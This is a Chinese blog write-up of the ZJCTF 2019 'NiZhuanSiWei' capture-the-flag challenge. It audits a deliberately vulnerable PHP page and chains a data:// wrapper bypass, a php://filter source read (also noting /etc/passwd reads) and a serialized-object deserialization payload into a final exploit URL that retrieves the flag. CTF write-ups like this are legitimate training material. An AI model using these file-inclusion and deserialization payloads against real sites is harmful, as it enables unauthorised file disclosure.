[ZJCTF 2019]NiZhuanSiWei_wirteUP
打开网站
进入网站,出现了代码,开始代码审计吧
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
//
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 
第一个绕过:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
 这里需要我们传入一个文件且其内容为welcome to the zjctf,这样的话才能继续往下一步走,现在就剩下一个data伪协议。data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中然后让file_get_contents函数读取文件。构造如下,
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
当然也可以不需要base64,但是一般为了绕过某些过滤都会用到base64。data://text/plain,welcome to the zjctf
第二个绕过
$file = $_GET["file"];
if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
这里有file参数可控,但是无法直接读取flag,可以直接读取/etc/passwd,但针对php文件我们需要进行base64编码,否则读取不到其内容,所以以下无法使用:
file=useless.php
所以下面采用filter来读源码,但上面提到过针对php文件需要base64编码,所以使用其自带的base64过滤器。
php://filter/read=convert.base64-encode/resource=useless.php
读到的useless.php内容如下:
<?php  
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  
第三个绕过
$password = $_GET["password"];
include($file);  //useless.php
$password = unserialize($password);
echo $password;
这里的file是我们可控的,所以在本地测试后有执行下面代码即可出现payload:
<?php  
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a = new Flag();
echo serialize($a);
?>
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最后payload
http://738ae58a-c99d-45f0-87d0-f65b27ff87f8.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:%7Bs:4:"file";s:8:"flag.php";%7D
最终获得flag值

本文来自博客园,作者:oldliutou,转载请注明原文链接:https://www.cnblogs.com/oldliutou/p/15763584.html

 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号